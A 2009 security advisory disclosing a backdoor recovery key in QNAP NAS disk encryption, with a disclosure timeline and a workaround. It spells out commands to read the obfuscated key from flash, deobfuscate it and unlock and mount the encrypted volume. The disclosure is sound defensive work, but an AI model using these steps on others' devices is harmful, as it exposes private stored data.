Title: Crypto backdoor in Qnap storage devices
Date: 18 September 2009
Vendor: QNAP Systems
Products (verified): TS-239 Pro, TS-639 Pro
Products (unverified): SS-439 Pro, TS-439 Pro, TS-439U-SP/RP,
TS-509 Pro, SS-839 Pro, TS-809 Pro, TS-809U-RP
Vulnerability: hard disk encryption bypass due recovery key
Affected Releases: 3.1.1 0815, 3.1.0 0627, 2.1.7 0613,
and presumably all other
The premium and new line of QNAP network storage solutions allow
for full hard disk encryption. When rebooting, the user has to
unlock the hard disk by supplying the encryption passphrase via
the web GUI.
However, when the hard disk is encrypted, a secondary key is
created, added to the keyring, and stored in the flash with minor
The encrypted hard disk can be unlocked and potential sensitive
contents access by attackers who obtain physical or network
access to the hard disk and flash.
When a user selects in the web GUI to encrypt a hard drive, he
has to supply a passphrase of 8-16 length.
The Qnap solution is to use the underlying Linux standard
mechanisms of LUKS to create the encrypted partition.
The user supplied passphrase is crypt(3)'ed with the MD5 salt
of $1$YCCaQNAP$ and used as the initial key to access the LUKS
master key for the drive.
Additionally, the system creates a second key, which is 32
characters long and contains all low case characters and the
numbers 0-9, and adds it to the LUKS keyring:
/sbin/cryptsetup luksAddKey /dev/md0 /tmp/temp.wLbZNp \
Before writing the second key to the flash, the key is then
obfuscated in the following way:
the first six characters are reversed and written to the end
of the string.
The obfuscated string is then written to the flash (/dev/sdx6
on current Qnap storage devices) in the ENCK variable.
An attacker - or user who has lost his passphrase - just needs
to do the following:
1. Obtain the backdoor key from the flash:
# strings /dev/sdx6 | grep ENCK
It is possible that several ENCK keys show up.
2. The key has then to be deobfuscated. The last 6 characters have
to be taken, reversed, and put in front of the string:
ENCK key before: ghijklmnopqrstuvwxyz012345fedcba
ENCK key after: abcdefghijklmnopqrstuvwxyz012345
3. The key file has to be created:
# echo -n "abcdefghijklmnopqrstuvwxyz012345" > /tmp/key
4. The encrypted volume is unlocked and mounted. The device is
usually /dev/md0 or /dev/sda3.
# /sbin/cryptsetup luksOpen /dev/md0 md0 --key-file=/tmp/key
key slot 0 unlocked.
# mount /dev/mapper/md0 /share/MD0_DATA
Full access to the encrypted volume has been obtained.
The backdoor key is generated by rand() calls. As the rand()
function produces random numbers unsuitable for cryptographic
keys. The cryptographic strength of this generated key is
approx 2^32, hence feasible for breaking. This would make
access to the flash unnecessary.
The LUKS partition is created in AES-256 in plain CBC mode. This
mode is susceptible to watermark attacks.
No fix is available from the vendor yet and scheduled for the
The official company statement is:
"The security notice from Baseline Security was received by Qnap
on the 16th September 2009 and rated as important.
Currently, a new and enhanced firmware version is already in
testing. An update is planned for the following month"
As this was implemented on purpose by the vendor, and feedback
from the taiwanese development team was scarce, it was decided
to publish the information to put public pressure on the company
to ensure not only supplying a quick update, but also announcing
the issue properly so users see the need for installed the
coming imporant firmware update.
It was proposed to the vendor to remove the key from the keyring
as described in the workaround section.
Additionally the ENCK values in the flash should be overwritten.
Once a firmware update is available, it will be tested that it
removes the crypto backdoor.
Watch the advisory URL for updates:
There is no workaround available which can be used by a novice
The best solution is to remove the backdoor key from keyslot 0.
However this requires hashing the user passphrase. For this, a
Linux system has to be available, which has the "mkpasswd" command
installed (whois package).
# mkpasswd --hash=md5 --salt='YCCaQNAP'
and enter the password on the Password: prompt. Copy the outout.
On the Qnap device, create the keyfile with the password hash:
# echo -n "...the output of mkpasswd..." > /tmp/mykey
Now remove the backdoor key:
# /sbin/cryptsetup luksKillSlot /dev/md0 0 --key-file=/tmp/mykey
Remove all sensitive data, wipe the shell history, and logoff:
# echo "aaaaaaaaaaaaaaaaaaaaaaaaaaaa" > /tmp/mykey
# rm /tmp/mykey /tmp/key
As an additional measure, the flash can be edited and the saved
key overwritten (this requires the ipkg package installed).
Install a hex editor, run the hexeditor on the flash, and
overwrite ENCK values:
# ipkg install hexcurse
# hexcurse /dev/sdx6
(a hex editor window is loading)
Type Control-F, then 454e434b and hit Enter.
Use the cursor keys to the character string after the "ENCK="
string and then type in as many "A" characters, until the string
is full. Type Control-S to save, adn Control-Q to quit.
Please note that no liability is given whatsoever by anyone
if the workaround is used. It is recommended to be performed
by experienced users only.
Original Vendor FUD:
"The functionality for encryption the hard disk does not include
a crypto backdoor."
(in response to a user question why two keyslots are allocated,
and if this is because of a backdoor)
Analysis performed thanks to the ultimate binary analysis tool
BinNavi by Zynamics, and the great - and free - IDA Pro
Dissassembler 4.9 by Datarescue.
Greets to the teams at Red Database Security, Recurity Labs,
THC and n.runs.
10 September 2009 Issue posted in the Qnap support forum
15 September 2009 Notification on crypto backdoor sent directly
to Qnap to force a response, giving 72 hours
to explain why the backdoor exists, when and
how it will be removed, and how this
information will be made available to the users.
15 September 2009 Qnap support contact confirms notification,
and informs of forwarding to support team
in Taiwan for clarification
16 September 2009 Phone cann from Qnap representive, stating
this issue is a high priority
18 September 2009 No statement from Qnap was given on why the
backdoor exists and if and when it will be
18 September 2009 This advisory is released
Baseline Security Consulting
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The contents of this advisory is copyright (c) 2009 by Marc Heuse
and may be distributed freely provided that no fee is charged for
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